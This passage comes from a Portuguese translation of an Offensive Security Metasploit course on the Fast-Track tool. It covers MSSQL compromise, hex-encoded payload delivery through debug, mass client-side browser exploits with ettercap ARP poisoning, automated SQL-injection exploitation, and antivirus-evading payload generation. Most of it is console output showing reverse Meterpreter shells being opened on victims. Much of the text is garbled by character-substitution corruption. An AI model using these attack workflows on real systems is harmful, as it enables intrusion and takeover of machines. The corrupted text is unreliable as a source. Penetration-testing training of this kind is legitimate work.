Ol ando para o resultado acima, temos comprometido a um servidor %HG no endereo E2 T..=TT.NN.T=] na porta T-II com o nome de usurio 1sa1 e sen a 1sen a1. Hueremos agora acesso total a este menino mau. ) um monte de op6es (ue pode especificar e, neste caso, vamos usar um !eterpreter console, mas vrias outras op6es dispon5veis para voc.
'nter num+er .ere: 1 'na+lin*: K">Dm$s.ell555 Linis.e$ tryin* to re3ena+le x0> m$s.ell store$ 0ro e$ure if $isa+le$5 Donfi*uration file not $ete te$B runnin* $efault 0at.5 Re ommen$ runnin* setu050y install to onfi*ure Last3Tra 15 Settin* $efault $ire tory555 #.at 0ort $o you %ant t.e 0ayloa$ to onne t to you on: ==== Metas0loit Re-erse Meter0reter &0loa$ Eete te$55 Laun .in* Meter0reter Han$ler5 Dreatin* Metas0loit Re-erse Meter0reter "ayloa$55 Sen$in* 0ayloa$: 66fAf4a =++e@e))$a1=He@f4)ef$=6$a$) Sen$in* 0ayloa$: a 6 + =HH1=aaee$!)H!$)4e!(1 eeA$f+a$ Metas0loit 0ayloa$ $eli-ere$55 Don-ertin* our 0ayloa$ to +inaryB t.is may ta1e a fe%555 Dleanin* u0555 Laun .in* 0ayloa$B t.is oul$ ta1e u0 to a minute555 #.en finis.e$B lose t.e metas0loit .an$ler %in$o% to return to ot.er om0romise$ S^L Ser-ers5 789 "lease %ait %.ile %e loa$ t.e mo$ule tree555 789 Han$ler +in$in* to LHOST @5@5@5@ 789 Starte$ re-erse .an$ler 789 Startin* t.e 0ayloa$ .an$ler555 789 Transmittin* interme$iate sta*er for o-er3siIe$ sta*e555(!1) +ytes) 789 Sen$in* sta*e (H16AA) +ytes) 789 Meter0reter session 1 o0ene$ (1@5!115((51A@:==== 32 1@5!115((51!6:1@A@) meter0reter 2

%ucesso: Agora temos o pleno acesso a esta m(uina. 2rett< coisas ms, e por toda adivin ando o ; Offensive %ecurit< =..> ?raduzido por @afael ?orres

sa 1%HG1 conta.

9inar: to He7 4on(erter


O gerador de binrio para eAadecimal 'til (uando voc 4 tem acesso a um sistema e precisa entregar um ar(uivo eAecutvel para ele. 0ormalmente, ?"?2 e "?2 so filtradas por fire#alls e um mtodo alternativo (ue no eAige (ual(uer coneAo sa5da est utilizando 4anelas de depurao de converso, a fim de entregar a sua carga. "ast&?rac$ ter (ual(uer eAecutvel, en(uanto (ue abaiAo de \-$b de taman o, e cuspir um ar(uivo teAto com o formato espec5fico das convers6es de depurao do Bindo#s. 9ma vez (ue voc tem, basta col&lo em um prompt de comando, ou escrever um script para obt&lo no sistema afetado (ue voc 4 tem acesso.
Last3Tra 1 Main Menu: Last3Tra 1 3 #.ere it's OX to finis. in un$er A minutes555 Jersion: -=5@ #ritten +y: Ea-i$ Xenne$y (ReL1X) .tt0:,,%%%5se urestate5 om .tt0:,,%%%5t.e0entest5 om 15 Last3Tra 1 &0$ates !5 Auto0%n Automation A5 Mi rosoft S^L Tools =5 Mass Dlient3Si$e Atta 1 (5 'x0loits )5 Binary to Hex "ayloa$ Don-erter H5 "ayloa$ Generator 65 Last3Tra 1 Tutorials 45 Last3Tra 1 D.an*elo* 1@5 Last3Tra 1 Dre$its 115 'xit 'nter t.e num+er: ) Binary to Hex Generator -@51 T.is menu %ill on-ert an exe to a .ex file %.i . you Gust nee$ to o0y an$ 0aste t.e out0ut to a %in$o%s omman$ 0rom0tB it %ill t.en *enerate an exe uta+le +ase$ on your 0ayloa$ 88<ote88 Base$ on #in$o%s restri tions t.e file annot +e o-er )=1+ 'nter t.e 0at. to t.e file you %ant to on-ert to .ex: ,0entest,ex0loits,fasttra 1,n 5exe Linis.e$555 O0enin* text e$itor555 ,, Out0ut %ill loo1 li1e t.is E'L T 12<&L !2<&L e .o 'ES:@ =E (A 4@ @@ @A @@ @@ @@ @= @@ @@ @@ LL LL @@ @@22T e .o 'ES:1@ B6 @@ @@ @@ @@ @@ @@ @@ =@ @@ @@ @@ @@ @@ @@ @@22T e .o LES:!@ L 1@ @@22T e .o 'ES:A@ @@ @@ @@ @@ @@ @@ @@ @@ @@ @@ @@ @@ 6@ @@ @@ @@22T e .o 'ES:=@ @' 1L BA @' @@ B= @4 DE !1 B6 @1 =D DE !1 (= )622T e .o 'ES:(@ )4 HA !@ H@ H! )L )H H! )1 )E !@ )A )1 )' )' )L22T e .o 'ES:)@ H= !@ )! )( !@ H! H( )' !@ )4 )' !@ == =L (A !@22T

; Offensive %ecurit< =..> ?raduzido por @afael ?orres

e .o 'ES:H@ )E )L )= )( !' @E @E @A != @@ @@ @@ @@ @@ @@ @@22T

Pasta colar isso em um prompt de comando e ver a mgica:

Mass-4&ient Attac5
"ast&?rac$Ks !ass *lient&%ide Attac$K de natureza similar a db[autop#n !etasploit . Huando um usurio se conecta ao seu site malicioso, um pFntano de ambos os eAploits personalizado desenvolvido em "ast&?rac$ e do eArcito de eAploits no reposit/rio !etasploit ser lanado no cliente. 9ma coisa a acrescentar (ue voc tambm pode usar A@2 envenenamento de cac e com ettercap para forar a v5tima ao seu site: 8amos tentar fazer isso. Fast-Trac5 Main Menu Fast-Trac5 - W$ere itVs OK to 0inis$ in un#er L )inutesJJJ 6ersion (NJM Written .: Da(i# Kenne#: ?ReL=KA $ttp 88%%%JsecurestateJco) $ttp 88%%%Jt$epentestJco) =J Fast-Trac5 Up#ates IJ Autop%n Auto)ation LJ Microso0t S;L Too&s NJ Mass 4&ient-Si#e Attac5 QJ E7p&oits KJ 9inar: to He7 Pa:&oa# 4on(erter HJ Pa:&oa# 2enerator SJ Fast-Trac5 Tutoria&s PJ Fast-Trac5 4$an'e&o' =MJ Fast-Trac5 4re#its ==J E7it Enter t$e nu).er N Metasp&oit pat$ not #e0ine#R :ou s$ou&# run setupJp:R usin' t$e #e0au&t 0or no%JJJ Mass 4&ient 4&ient Attac5 Re"uire)ents PE7pect Metasp&oit $as a .unc$ o0 po%er0u& c&ient-si#e attac5s a(ai&a.&e in its arsena&J T$is si)p&: &aunc$es a&& c&ient si#e attac5s %it$in Metasp&oit t$rou'$ )s0c&i an# starts t$e) on (arious ports an# starts a custo) HTTP ser(er 0or :ouR in1ects a ne% in#e7J$t)& 0i&eR an# puts a&& o0 t$e e7p&oits in i0ra)esJ I0 :ou can 'et so)eone to connect to t$is %e. pa'eR it %i&& .asica&&: .rute 0orce (arious c&ient si#e e7p&oits in t$e $ope one succee#sJ ; Offensive %ecurit< =..> ?raduzido por @afael ?orres

CouV&& $a(e to )onitor eac$ s$e&& i0 one succee#sJJ Once 0inis$e#R 1ust $a(e so)eone connect to port SM 0or :ou an# i0 t$e: are (u&nera.&e to an: o0 t$e e7p&oitsJJJs$ou&# $a(e a nice s$e&&J Enter t$e IP A##ress :ou %ant t$e %e. ser(er to &isten on =MJI==JQQJ=LM Speci0: :our pa:&oa# =J Win#o%s Meterpreter Re(erse Meterpreter IJ 2eneric 9in# S$e&& LJ Win#o%s 6N4 In1ect Re(erse@T4P ?a5a 3Da 2ui3A NJ Re(erse T4P S$e&& Enter t$e nu).er o0 t$e pa:&oa# :ou %ant = Wou&# :ou &i5e to use ettercap to ARP poison a $ost :es or no :es Ettercap a&&o%s :ou to ARP poison a speci0ic $ost an# %$en t$e: .ro%se a siteR 0orce t$e) to use t$e )etasp&oit site an# &aunc$ a s&e% o0 e7p&oits 0ro) t$e Metasp&oit repositor:J ETTER4AP RE;UIREDJ W$at IP A##ress #o :ou %ant to poison =MJI==JQQJ=IS Settin' up t$e ettercap 0i&tersJJJJ Fi&ter create#JJJ 4o)pi&in' Ettercap 0i&terJJJ etter0i&ter N2-MJHJL cop:ri'$t IMM=-IMMN ALoR Z Na2A =I protoco& ta.&es &oa#e# DE4ODED DATA u#p tcp 're ic)p ip arp %i0i 0##i tr et$ == constants &oa#e# 6RRP OSPF 2RE UDP T4P I4MPK I4MP PPTP PPPoE IP ARP Parsin' source 0i&e V.in8app#ata80asttrac5J0i&terV #oneJ Un0o&#in' t$e )eta-tree #oneJ 4on(ertin' &a.e&s to rea& o00sets #oneJ Writin' output to V.in8app#ata80asttrac5Je0V #oneJ -B Script enco#e# into =K instructionsJ Fi&ter co)pi&e#JJJRunnin' Ettercap an# poisonin' tar'etJJJ Settin' up Metasp&oit MSF4onso&e %it$ (arious e7p&oitsJJJ ; Offensive %ecurit< =..> ?raduzido por @afael ?orres

I0 an e7p&oit succee#sR t:pe sessions -& to &ist s$e&&s an# sessions -i to interactJJJ Ha(e so)eone connect to :ou on port SMJJJ Launc$in' MSF4onso&e an# E7p&oitsJJJ Once :ou see t$e Metasp&oit 4onso&e &aunc$ a&& t$e e7p&oits $a(e so)eone connect to :ouJJ SR6PORT DB SMHI resourceB set URIPATH 8 URIPATH DB 8 resourceB set LPORT PMHI LPORT DB PMHI resourceB e7p&oit EFG Han#&er .in#in' to LHOST MJMJMJM EFG E7p&oit runnin' as .ac5'roun# 1o.J resourceB use e7p&oit8%in#o%s8.ro%ser8>enturipro'ra)c$ec5er@unsa0e EFG Starte# re(erse $an#&er resourceB set PACLOAD %in#o%s8)eterpreter8re(erse@tcp EFG Usin' URL $ttp 88MJMJMJM SMH=8 PACLOAD DB %in#o%s8)eterpreter8re(erse@tcp resourceB set LHOST =MJI==JQQJ=LM LHOST DB =MJI==JQQJ=LM EFG Loca& IP $ttp 88=MJI==JQQJ=LM SMH=8 resourceB set SR6PORT SMHL EFG Ser(er starte#J SR6PORT DB SMHL resourceB set URIPATH 8 URIPATH DB 8 resourceB set LPORT PMHL LPORT DB PMHL resourceB e7p&oit EFG Han#&er .in#in' to LHOST MJMJMJM EFG Starte# re(erse $an#&er EFG E7p&oit runnin' as .ac5'roun# 1o.J EFG Usin' URL $ttp 88MJMJMJM SMHI8 EFG Loca& IP $ttp 88=MJI==JQQJ=LM SMHI8 EFG Ser(er starte#J )s0 e7p&oit?>enturipro'ra)c$ec5er@unsa0eA B EFG Han#&er .in#in' to LHOST MJMJMJM EFG Starte# re(erse $an#&er EFG Usin' URL $ttp 88MJMJMJM SMHL8 EFG Loca& IP $ttp 88=MJI==JQQJ=LM SMHL8 EFG Ser(er started. 0este ponto, (uando o nosso pobre v5tima na T..=TT.NN.T=] vai para navegar (ual(uer site, todos os refs ser substitu5do com o nosso endereo de Beb site. *onfira abaiAo. ; Offensive %ecurit< =..> ?raduzido por @afael ?orres

Observe no canto inferior es(uerdo (ue o lin$ aponta para o nosso site malicioso no T..=TT.NN.TI.. ?odos os lin$s no Ooogle com sucesso foi substitu5do. Gogo (ue um lin$ clicado, o caos comea.
789 Lo al ;": .tt0:,,1@5!115((51A@:6@H1, 789 Ser-er starte$5 789 Han$ler +in$in* to LHOST @5@5@5@ 789 Starte$ re-erse .an$ler 789 'x0loit runnin* as +a 1*roun$ Go+5 789 &sin* &RL: .tt0:,,@5@5@5@:6@H!, 789 Lo al ;": .tt0:,,1@5!115((51A@:6@H!, 789 Ser-er starte$5 msf ex0loit(Ienturi0ro*ram .e 1er>unsafe) 2 789 Han$ler +in$in* to LHOST @5@5@5@ 789 Starte$ re-erse .an$ler 789 &sin* &RL: .tt0:,,@5@5@5@:6@HA, 789 Lo al ;": .tt0:,,1@5!115((51A@:6@HA, 789 Ser-er starte$5 789 Sen$in* A$o+e Dolla+5*et; on() Buffer O-erflo% to 1@5!115((51!6:1@==555 789 Attem0tin* to ex0loit ani>loa$ima*e> .un1siIe 789 Sen$in* HTML 0a*e to 1@5!115((51!6:1@=H555 789 Sen$in* A$o+e RB;G!Ee o$e Memory Dorru0tion 'x0loit to 1@5!115((51!6:1@=)555 789 Sen$in* ex0loit to 1@5!115((51!6:1@=4555 789 Attem0tin* to ex0loit ani>loa$ima*e> .un1siIe 789 Sen$in* #in$o%s A<; Loa$Ani; on() D.un1 SiIe Sta 1 O-erflo% (HTT") to 1@5!115((51!6:1@H)555 789 Transmittin* interme$iate sta*er for o-er3siIe$ sta*e555(!1) +ytes) 789 Sen$in* sta*e (H16AA) +ytes) 789 Meter0reter session 1 o0ene$ (1@5!115((51A@:4@@H 32 1@5!115((51!6:1@HH msf ex0loit(Ienturi0ro*ram .e 1er>unsafe) 2 sessions 3l

; Offensive %ecurit< =..> ?raduzido por @afael ?orres

A ti-e sessions ??????????????? ;$ Ees ri0tion Tunnel 33 33333333333 333333 1 Meter0reter 1@5!115((51A@:4@@H 32 1@5!115((51!6:1@HH msf ex0loit(Ienturi0ro*ram .e 1er>unsafe) 2 sessions 3i 1 789 Startin* intera tion %it. 1555 meter0reter 2

0ote (ue o envenenamento do cac e A@2 s/ funciona em sistemas na mesma sub&rede (ue voc. Este foi um grande eAemplo de como a 1forar1 o usurio a navegar no seu site, em vez de ter (ue seduzi&los a clicar em um lin$ e automaticamente eAplor&los com uma variedade de ata(ues.

S;L P%na'e
1%HG2#nage1 uma ferramenta para detectar insano poss5veis vulnerabilidades de %HG En4ection em um aplicativo #eb. %HG2#nage far a varredura de sub&redes e rastrear 9@Gs inteiro procurando (ual(uer tipo de parFmetros 2O%?. %HG2#nage tentar tanto erro e %HG En4ection Plind baseado em uma tentativa de gan ar acesso total ao sistema. %e ele pode adivin ar o bom sintaAe %HG, ele far uma srie de ata(ues, incluindo reativar Ap[cmds ell e entrega de (ual(uer carga (ue voc (uer, tudo atravs de %HG En4ection. 9sando o eAemplo abaiAo, n/s automaticamente rastrear e atacar um site (ue sabemos vulnervel 7 %HG En4ection. %HG2#nage foi escrito por Andre# Beiden amer e 3avid Uenned<. 8amos ver o (ue acontece. (ast3Tra 1 Main Menu:
Last3Tra 1 3 #.ere it's OX to finis. in un$er A minutes555 Jersion: -=5@ #ritten +y: Ea-i$ Xenne$y (ReL1X) .tt0:,,%%%5se urestate5 om .tt0:,,%%%5t.e0entest5 om 15 Last3Tra 1 &0$ates !5 Auto0%n Automation A5 Mi rosoft S^L Tools =5 Mass Dlient3Si$e Atta 1 (5 'x0loits )5 Binary to Hex "ayloa$ Don-erter H5 "ayloa$ Generator 65 Last3Tra 1 Tutorials 45 Last3Tra 1 D.an*elo* 1@5 Last3Tra 1 Dre$its 115 'xit 'nter t.e num+er: A Mi rosoft S^L Atta 1 Tools "i 1 a list of t.e tools from +elo%:

; Offensive %ecurit< =..> ?raduzido por @afael ?orres

15 MSS^L ;nGe tor !5 MSS^L Bruter A5 S^L"%na*e 'nter your .oi e : A Donfi*uration file not $ete te$B runnin* $efault 0at.5 Re ommen$ runnin* setu050y install to onfi*ure Last3Tra 15 Eefault Metas0loit $ire tory set to ,0entest,ex0loits,frame%or1A, D.e 1in* S^L"%na*e $e0en$en ies require$ to run555 Ee0en$en ies installe$5 #el ome to S^L"%na*e5 S^L"%na*e %ritten +y: An$re% #ei$en.amer an$ Ea-i$ Xenne$y S^L"%na*e is a mass 0%na*e tool ustom o$e$ for Last3Tra 15 S^L"%na*e %ill attem0t to i$entify S^L ;nGe tion in a %e+siteB s an su+net ran*es for %e+ ser-ersB ra%l entire sitesB fuII form 0arameters an$ attem0t to *ain you remote a ess to a system5 #e useunique atta 1s ne-er 0erforme$ +efore in or$er to +y0ass t.e )=1+ $e+u* restri tions on remote #in$o%s systems an$ $e0loy our lar*e 0ayloa$s %it.out restri tions T.is is all $one %it.out a sta*er to $o%nloa$ remote filesB t.e only e*ress onne tions ma$e are our final 0ayloa$5 Ri*.t no% S^L"%na*e su00orts t.ree 0ayloa$sB a re-erse t 0 s.ellB metas0loit re-erse t 0 meter0reterB an$ metas0loit re-erse -n inGe t5 Some a$$itional features areB ele-ation to "sa" role if not a$$e$B $ata exe ution 0re-ention (E'") $isa+lin*B anti3-irus +y0assin*B an$ mu . more/ T.is tool is t.e only one of its 1in$B an$ is S^L"%na*e Main Menu: 15 S^L ;nGe tion Sear .,'x0loit +y Binary "ayloa$ ;nGe tion (BL;<E) !5 S^L ;nGe tion Sear .,'x0loit +y Binary "ayloa$ ;nGe tion ('RROR BAS'E) A5 S^L ;nGe tion sin*le &RL ex0loitation 'nter your .oi e: ! urrently still in +eta5

333333333333333333333333333333333333333333333333333333333333333 3 T.is mo$ule .as t.e follo%in* t%o o0tions: 3 3 3 3 1) S0i$er a sin*le &RL loo1in* for S^L ;nGe tion5 ;f 3 3 su essful in i$entifyin* S^L ;nGe tionB it %ill t.en 3 3 *i-e you a .oi e to ex0loit53 3 3 3 !) S an an entire su+net loo1in* for %e+ser-ers runnin* on 3

; Offensive %ecurit< =..> ?raduzido por @afael ?orres

3 0ort 6@5 T.e user %ill t.en +e 0rom0te$ %it. t%o 3 3 .oi es: 1) Sele t a %e+site orB !) Attem0t to s0i$er 3 3 all %e+sites t.at %as foun$ $urin* t.e s an attem0tin* 3 3 to i$entify 0ossi+le S^L ;nGe tion5 ;f S^L ;nGe tion 3 3 is i$entifie$B t.e user %ill t.en .a-e an o0tion to 3 3 ex0loit5 3 3 3 3 T.is mo$ule is +ase$ on error messa*es t.at are most 3 3 ommonly returne$ %.en S^L ;nGe tion is 0re-alent on 3 3 %e+ a00li ation5 3 3 3 3 ;f all *oes %ell a re-erse s.ell %ill +e returne$ +a 1 to 3 3 t.e user5 3 333333333333333333333333333333333333333333333333333333333333333 S an a su+net or s0i$er sin*le &RLF 15 url !5 su+net (ne%) A5 su+net (lists last s an) 'nter t.e <um+er: ! 'nter t.e i0 ran*eB exam0le 14!51)651513!(=: 1@5!115((513!(= S annin* Dom0lete/// Sele t a %e+site to s0i$er or s0i$er allFF 15 Sin*le #e+site !5 All #e+sites 'nter t.e <um+er: ! Attem0tin* to S0i$er: .tt0:,,1@5!115((51!6 Dra%lin* .tt0:,,1@5!115((51!6 (Max Ee0t.: 1@@@@@) EO<' Loun$ @ lin1sB follo%in* @ urls in @Q@:@:@ S0i$erin* is om0lete5

8888888888888888888888888888888888888888888888888888888888888888888888888 .tt0:,,1@5!115((51!6 8888888888888888888888888888888888888888888888888888888888888888888888888 7Q9 <um+er of forms $ete te$: ! 7Q9 A S^L 'x e0tion .as +een en ountere$ in t.e "txtLo*in" in0ut fiel$ of t.e a+o-e %e+site5 #.at ty0e of 0ayloa$ $o you %antF 15 !5 A5 =5 (5 )5 Dustom "a 1e$ Last3Tra 1 Re-erse "ayloa$ (AJ Safe) Metas0loit Re-erse J<D ;nGe t (Requires Metas0loit) Metas0loit Meter0reter "ayloa$ (Requires Metas0loit) Metas0loit TD" Bin$ S.ell (Requires Metas0loit) Metas0loit Meter0reter Refle ti-e Re-erse TD" Metas0loit Refle ti-e Re-erse J<D .oi e: (

Sele t your

; Offensive %ecurit< =..> ?raduzido por @afael ?orres

'nter t.e 0ort you %ant to listen on: 4@4@ 7Q9 ;m0ortin* )=1+ $e+u* +y0ass 0ayloa$ into Last3Tra 1555 7Q9 7Q9 ;m0ort om0leteB formattin* t.e 0ayloa$ for $eli-ery55 7Q9 7Q9 "ayloa$ Lormattin* 0re00e$ an$ rea$y for laun .5 7Q9 7Q9 'xe utin* S^L omman$s to ele-ate a ount 0ermissions5 7Q9 7Q9 ;nitiatin* store$ 0ro e$ure: 'x0> m$.s.ell' if $isa+le$5 7Q9 7Q9 Eeli-ery Dom0lete5 7Q9 Dreate$ +y msf0ayloa$ (.tt0:,,%%%5metas0loit5 om)5 "ayloa$: %in$o%s,0at .u0meter0reter,re-erse>t 0 Len*t.: A1@ O0tions: LHOST?1@5!115((51A@BL"ORT?4@4@ Laun .in* MSLDL; Meter0reter Han$ler Dreatin* Metas0loit Re-erse Meter0reter "ayloa$55 Ta1in* ra% +inary an$ on-ertin* to .ex5 Ra% +inary on-erte$ to strai*.t .ex5 7Q9 By0assin* #in$o%s Ee+u* )=XB Restri tions5 '-il5 7Q9 7Q9 Sen$in* .un1e$ 0ayloa$5 <um+er 1 of 45 T.is may ta1e a +it5 7Q9 7Q9 Sen$in* .un1e$ 0ayloa$5 <um+er ! of 45 T.is may ta1e a +it5 7Q9 7Q9 Sen$in* .un1e$ 0ayloa$5 <um+er A of 45 T.is may ta1e a +it5 7Q9 7Q9 Sen$in* .un1e$ 0ayloa$5 <um+er = of 45 T.is may ta1e a +it5 7Q9 7Q9 Sen$in* .un1e$ 0ayloa$5 <um+er ( of 45 T.is may ta1e a +it5 7Q9 7Q9 Sen$in* .un1e$ 0ayloa$5 <um+er ) of 45 T.is may ta1e a +it5 7Q9 7Q9 Sen$in* .un1e$ 0ayloa$5 <um+er H of 45 T.is may ta1e a +it5 7Q9 7Q9 Sen$in* .un1e$ 0ayloa$5 <um+er 6 of 45 T.is may ta1e a +it5 7Q9 7Q9 Sen$in* .un1e$ 0ayloa$5 <um+er 4 of 45 T.is may ta1e a +it5 7Q9 7Q9 Don-ersion from .ex to +inary in 0ro*ress5 7Q9 7Q9 Don-ersion om0lete5 Mo-in* t.e +inary to an exe uta+le5 7Q9 7Q9 S0littin* t.e .ex into 1@@ .ara ter .un1s 7Q9 7Q9 S0lit om0lete5 7Q9 7Q9 "re00in* t.e 0ayloa$ for $eli-ery5 7Q9 Sen$in* .un1 1 of AB t.is may ta1e a +it555 Sen$in* .un1 ! of AB t.is may ta1e a +it555 Sen$in* .un1 A of AB t.is may ta1e a +it555 &sin* H!B By0ass to on-ert our "ayloa$ to Binary55 Runnin* leanu0 +efore laun .in* t.e 0ayloa$5555 7Q9 Laun .in* t.e "AMLOAE// T.is may ta1e u0 to t%o or t.ree minutes5 7Q9 789 "lease %ait %.ile %e loa$ t.e mo$ule tree555 789 Han$ler +in$in* to LHOST @5@5@5@ 789 Starte$ re-erse .an$ler 789 Startin* t.e 0ayloa$ .an$ler555 789 Transmittin* interme$iate sta*er for o-er3siIe$ sta*e555(!1) +ytes) 789 Sen$in* sta*e (!)(@ +ytes) 789 Slee0in* +efore .an$lin* sta*e555 789 &0loa$in* ELL (H16A=H +ytes)555 789 &0loa$ om0lete$5 789 Meter0reter session 1 o0ene$ (1@5!115((51A@:4@4@ 32 1@5!115((51!6:1@A1) meter0reter 2

9fa: "eito isso parecer to fcil ... "ast&?rac$ tem sucesso obtido acesso e entregue a carga toda %HG En4ection: O (ue interessante de tudo isso como a carga real ficou entregue. 3epois de "ast&?rac$ identifica %HG En4ection, (ue toma as op6es especificadas durante a instalao inicial e cria uma carga !etasploit como um formato de ar(uivo eAecutvel. EAecutvel (ue ento convertido em uma verso eA&primas, assim (ue a sa5da apenas uma bol a em lin a reta de eA. A carga personalizado entregue 7 m(uina da v5tima (ue totalmente personalizado para "ast& ?rac$, (ue esta carga inicial no a sua aplicao, uma base eAagonal N$b, deiAa cair a carga, no ; Offensive %ecurit< =..> ?raduzido por @afael ?orres

formato eAagonal no sistema operacional Bindo#s e usa de depurao para converter o formato eAadecimal de volta para um aplicativo com base binria. A principal limitao deste mtodo (ue todas as cargas devem estar sob \-UP de taman o. %e a carga sobre o taman o, ele vai eAplodir para fora e no converter a aplicao. carga personalizado "ast&?rac$ +N$b,, essencialmente, uma vez convertido de volta para um binrio em eAadecimal l&primas e cospe&o para um ar(uivo no formato binrio, ignorando assim a restrio de \-UP. Este mtodo foi introduzido por %cott B ite em %ecure%tate na 3efcon, em =..], e est incorporada no %HG2#nage "ast&?rac$ e ata(ues %HGPruter.

Pa:&oa# 2enerator
O "ast ?rac$ 2a<load Oenerator criar personalizado !etasploit *argas para voc com um simples cli(ue de um boto. !uitas vezes, porm, lembrando os comandos com msfpa<load pode ser complicado, mas 2a<load "ast&?rac$ Oenerator simplifica&lo para voc:
Last3Tra 1 Main Menu: Last3Tra 1 3 #.ere it's OX to finis. in un$er A minutes555 Jersion: -=5@ #ritten +y: Ea-i$ Xenne$y (ReL1X) .tt0:,,%%%5se urestate5 om .tt0:,,%%%5t.e0entest5 om 15 Last3Tra 1 &0$ates !5 Auto0%n Automation A5 Mi rosoft S^L Tools =5 Mass Dlient3Si$e Atta 1 (5 'x0loits )5 Binary to Hex "ayloa$ Don-erter H5 "ayloa$ Generator 65 Last3Tra 1 Tutorials 45 Last3Tra 1 D.an*elo* 1@5 Last3Tra 1 Dre$its 115 'xit 'nter t.e num+er: H Donfi*uration file not $ete te$B runnin* $efault 0at.5 Re ommen$ runnin* setu050y install to onfi*ure Last3Tra 15 TTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTT TTT TTT TTT Metas0loit "ayloa$ Generator TTT TTT TTT TTT #ritten +y: Ea-e Xenne$y TTT TTT a1a ReL1X TTT TTT TTT TTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTT TTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTT T.e Metas0loit "ayloa$ Generator is a sim0le tool to ma1e it extremely easy to *enerate a 0ayloa$ an$ listener on t.e Metas0loit frame%or15 T.is $oes not a tually ex0loit any systemsB it %ill *enerate a metas0loit 0ayloa$ for you an$ sa-e it to an exe uta+le5 Mou t.en nee$ to someone *et it on t.e remote ser-er +y yourself an$ *et it

; Offensive %ecurit< =..> ?raduzido por @afael ?orres

to exe ute orre tly5 T.is %ill also en o$e your 0ayloa$ to *et 0ast most AJ an$ ;ES,;"S5 #.at 0ayloa$ $o you %ant to *enerate: <ame: Ees ri0tion: 15 #in$o%s S.ell Re-erse>TD" S0a%n a omman$ s.ell on -i tim an$ sen$ +a 1 to atta 1er5 !5 #in$o%s Re-erse>TD" Meter0reter S0a%n a meter0reter s.ell on -i tim an$ sen$ +a 1 to atta 1er5 A5 #in$o%s Re-erse>TD" J<D ELL S0a%n a J<D ser-er on -i tim an$ sen$ +a 1 to atta 1er5 =5 #in$o%s Bin$ S.ell 'xe ute 0ayloa$ an$ reate an a e0tin* 0ort on remote system5 (5 #in$o%s Refle ti-e Re-erse J<D S0a%n a J<D ser-er on -i tim an$ sen$ +a 1 to atta 1er5 )5 #in$o%s Refle ti-e Re-erse Meter0reter S0a%n a Meter0reter s.ell on -i tim t.rou*. Refle ti-e to atta 1er5 'nter .oi e (exam0le 13)): ! Belo% is a list of en o$in*s to try an$ +y0ass AJ5 Sele t one of t.e +elo%B A-oi$>&TL6>tolo%er usually *ets 0ast t.em5 15 a-oi$>utf6>tolo%er !5 s.i1ata>*a>nai A5 al0.a>mixe$ =5 al0.a>u00er (5 all=>$%or$>xor )5 ount$o%n H5 fnsten->mo65 Gm0> all>a$$iti-e 45 nonal0.a 1@5 nonu00er 115 uni o$e>mixe$ 1!5 uni o$e>u00er 1A5 al0.a! 1=5 <o 'n o$in* 'nter your .oi e : ! 'nter ;" A$$ress of t.e listener,atta 1er (re-erse) or .ost,-i tim (+in$ s.ell): 1@5!115((51A@ 'nter t.e 0ort of t.e Listener: 4@4@ Eo you %ant to reate an 'K' or S.ell o$e 15 'xe uta+le !5 S.ell o$e 'nter your .oi e: 1 Dreate$ +y msf0ayloa$ (.tt0:,,%%%5metas0loit5 om)5 "ayloa$: %in$o%s,meter0reter,re-erse>t 0 Len*t.: A1@ O0tions: LHOST?1@5!115((51A@BL"ORT?4@4@B'<DOE;<G?s.i1ata>*a>nai A 0ayloa$ .as +een reate$ in t.is $ire tory an$ is name$ '0ayloa$5exe'5 'nGoy/ Eo you %ant to start a listener to re ei-e t.e 0ayloa$ yes or no: yes Laun .in* Listener555 8888888888888888888888888888888888888888888888888888888888888888888888888888888 8888888888888888 Laun .in* MSLDL; on 'ex0loit,multi,.an$ler' %it. "AMLOAE?'%in$o%s,meter0reter,re-erse>t 0' Listenin* on ;": 1@5!115((51A@ on Lo al "ort: 4@4@ &sin* en o$in*: '<DOE;<G?s.i1ata>*a>nai 8888888888888888888888888888888888888888888888888888888888888888888888888888888 8888888888888888 789 "lease %ait %.ile %e loa$ t.e mo$ule tree555

; Offensive %ecurit< =..> ?raduzido por @afael ?orres

789 Han$ler +in$in* to LHOST @5@5@5@ 789 Starte$ re-erse .an$ler 789 Startin* t.e 0ayloa$ .an$ler555

Observe (ue (uando a carga criado, "ast&?rac$ pode automaticamente configurar um ouvinte para voc aceitar a coneAo. Agora tudo (ue voc tem a fazer obter o ar(uivo eAecutvel no sistema remoto em si. 9ma vez eAecutadoL
8888888888888888888888888888888888888888888888888888888888888888888888888888888 8888888888888888 Laun .in* MSLDL; on 'ex0loit,multi,.an$ler' %it. "AMLOAE?'%in$o%s,meter0reter,re-erse>t 0' Listenin* on ;": 1@5!115((51A@ on Lo al "ort: 4@4@ &sin* en o$in*: '<DOE;<G?s.i1ata>*a>nai 8888888888888888888888888888888888888888888888888888888888888888888888888888888 8888888888888888 789 "lease %ait %.ile %e loa$ t.e mo$ule tree555 789 Han$ler +in$in* to LHOST @5@5@5@ 789 Starte$ re-erse .an$ler 789 Startin* t.e 0ayloa$ .an$ler555 789 Transmittin* interme$iate sta*er for o-er3siIe$ sta*e555(!1) +ytes) 789 Sen$in* sta*e (H16AA) +ytes) 789 Meter0reter session 1 o0ene$ (1@5!115((51A@:4@4@ 32 1@5!115((51!6:1@H6) meter0reter 2

0/s s/ aprendemos a criar facilmente cargas utilizando a estrutura "ast&?rac$ e, finalmente, ter acesso a um sistema com uma carga personalizados criados atravs da !etasploit "rame#or$: 2ara mim +3ave Uenned<,, este foi um dos meus primeiros m/dulos (ue eu 4 constru5da para o !etasploit "rame#or$. Eu sou um cara p<t on e comutao de rubi realmente acabou no sendo 1to mau1 como eu avia previsto. 3epois de constru5do o m/dulo E, eu (ueria escrever passo a passo como eu era capaz de criar o m/dulo, dar uma pe(uena introduo na construo de m/dulo e de como ela realmente fcil de adicionar ferramentas adicionais ou eAploits para o !etasploit "rame#or$. Eu primeiro (uero (ue voc comeasse com o (ue l e d uma pe(uena idia sobre alguns dos principais componentes do (uadro !etasploit (ue estaremos falando. 2rimeiro d uma ol ada no lib D msf D seco central na !etasploit, esta rea a(ui uma mina de ouro (ue voc vai (uerer aproveitar para no ter de reconstruir todos os protocolos ou atacar cada vez individual. 0avegue para o core D eAplorar seoL
